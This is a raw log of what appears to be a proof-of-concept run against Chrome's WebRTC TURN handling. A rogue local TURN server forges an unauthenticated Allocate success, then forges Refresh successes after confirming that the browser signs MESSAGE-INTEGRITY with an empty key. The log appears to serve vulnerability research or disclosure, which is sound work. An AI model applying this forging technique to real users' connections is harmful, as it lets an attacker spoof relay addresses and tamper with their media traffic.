[turn] listening on udp 127.0.0.1:29478
[http] serving on http://127.0.0.1:29080/poc.html
[http] "GET /poc.html HTTP/1.1" 200 -
[http] "GET /poc.html HTTP/1.1" 200 -
[turn] <- type=0x0001 (ignored)
[http] code 404, message File not found
[http] "GET /favicon.ico HTTP/1.1" 404 -
[turn] <- Allocate req from ('172.19.177.74', 55356) txid=57497a542f745635374b4e54 has_USERNAME=False has_MI=False
[turn] -> FORGED Allocate SUCCESS (no MESSAGE-INTEGRITY) relay=198.51.100.99:6666 mapped=203.0.113.77:5555
[http] REPORT from page: {"type": "relay", "candidate": "candidate:159944841 1 udp 58662911 198.51.100.99 6666 typ relay raddr 203.0.113.77 rport 5555 generation 0 ufrag KzTQ network-id 1", "address": "198.51.100.99", "port": 6666, "raddr": "203.0.113.77", "rport": 5555, "matches_forged": true}
[http] *** VULNERABILITY CONFIRMED: Chrome emitted a `typ relay` candidate from an UNAUTHENTICATED Allocate success ***
[http] *** forged relay address surfaced to JS: 198.51.100.99:6666 raddr=203.0.113.77:5555 ***
[http] "POST /report HTTP/1.1" 204 -
[turn] <- type=0x0001 (ignored)
[turn] <- type=0x0001 (ignored)
[turn] <- type=0x0001 (ignored)
[turn] <- type=0x0001 (ignored)
[turn] <- Refresh req from ('172.19.177.74', 55356) txid=6b776a7266454e366753564f REALM=b'' NONCE=b'' has_MI=True
[turn]    ^^^ CONFIRMED: client MESSAGE-INTEGRITY was computed with an EMPTY key (HMAC-SHA1(key=b''))
[turn]    => attacker can forge MI on every subsequent TURN response
[turn] -> FORGED Refresh SUCCESS (MI = HMAC-SHA1 with empty key)
[turn] <- type=0x0001 (ignored)
[turn] <- Refresh req from ('172.19.177.74', 55356) txid=706931733071386d6142672f REALM=b'' NONCE=b'' has_MI=True
[turn]    ^^^ CONFIRMED: client MESSAGE-INTEGRITY was computed with an EMPTY key (HMAC-SHA1(key=b''))
[turn]    => attacker can forge MI on every subsequent TURN response
[turn] -> FORGED Refresh SUCCESS (MI = HMAC-SHA1 with empty key)
[http] REPORT from page: {"type": "done"}
[http] "POST /report HTTP/1.1" 204 -
[turn] <- Refresh req from ('172.19.177.74', 55356) txid=654d6e782f7775376267326e REALM=b'' NONCE=b'' has_MI=True
[turn]    ^^^ CONFIRMED: client MESSAGE-INTEGRITY was computed with an EMPTY key (HMAC-SHA1(key=b''))
[turn]    => attacker can forge MI on every subsequent TURN response
[turn] -> FORGED Refresh SUCCESS (MI = HMAC-SHA1 with empty key)